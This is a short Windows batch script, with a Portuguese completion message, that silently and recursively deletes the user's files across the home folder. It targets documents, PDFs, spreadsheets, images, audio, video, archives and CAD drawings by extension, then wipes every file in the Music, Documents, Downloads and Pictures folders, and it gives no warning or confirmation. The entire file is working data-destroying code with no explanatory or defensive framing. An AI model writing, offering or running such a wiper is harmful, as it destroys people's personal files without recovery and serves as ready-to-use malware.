@echo off 
cls
echo.
del /Q  %systemdrive%%homepath%\*.doc /s
del /Q  %systemdrive%%homepath%\*.txt /s
del /Q  %systemdrive%%homepath%\*.pdf /s
del /Q  %systemdrive%%homepath%\*.doc /s
del /Q  %systemdrive%%homepath%\*.txt/s
del /Q  %systemdrive%%homepath%\*.xls /s
del /Q  %systemdrive%%homepath%\*.ppt/s
del /Q  %systemdrive%%homepath%\*.mp4 /s
del /Q  %systemdrive%%homepath%\*.mp3 /s
del /Q  %systemdrive%%homepath%\*.avi /s
del /Q  %systemdrive%%homepath%\*.docx /s
del /Q  %systemdrive%%homepath%\*.ppt /s
del /Q  %systemdrive%%homepath%\*.jpeg /s
del /Q  %systemdrive%%homepath%\*.png /s
del /Q  %systemdrive%%homepath%\*.zip /s
del /Q  %systemdrive%%homepath%\*.rar /s
del /Q  %systemdrive%%homepath%\*.7z /s
del /Q  %systemdrive%%homepath%\*.wma /s
del /Q  %systemdrive%%homepath%\*.aac /s
del /Q  %systemdrive%%homepath%\*.ogg /s
del /Q  %systemdrive%%homepath%\*.ac3 /s
del /Q  %systemdrive%%homepath%\*.wav /s
del /Q  %systemdrive%%homepath%\*.mpeg /s
del /Q  %systemdrive%%homepath%\*.mov/s
del /Q  %systemdrive%%homepath%\*.rmvb/s
del /Q  %systemdrive%%homepath%\*.mkv/s
del /Q  %systemdrive%%homepath%\*.bmp /s
del /Q  %systemdrive%%homepath%\*.gif /s
del /Q  %systemdrive%%homepath%\*.3ds /s
del /Q  %systemdrive%%homepath%\*.ace /s
del /Q  %systemdrive%%homepath%\*.aif/s
del /Q  %systemdrive%%homepath%\*.dxg /s
del /Q  %systemdrive%%homepath%\*.dwg /s
del /Q  %systemdrive%%homepath%\*.dwf /s
del /Q  %systemdrive%%homepath%\Music\*.* /s
del /Q  %systemdrive%%homepath%\Documents\*.* /s
del /Q  %systemdrive%%homepath%\Downloads\*.* /s
del /Q  %systemdrive%%homepath%\Pictures\*.* /s
pause
cls
echo Operacao Terminada.
echo.
pause
exit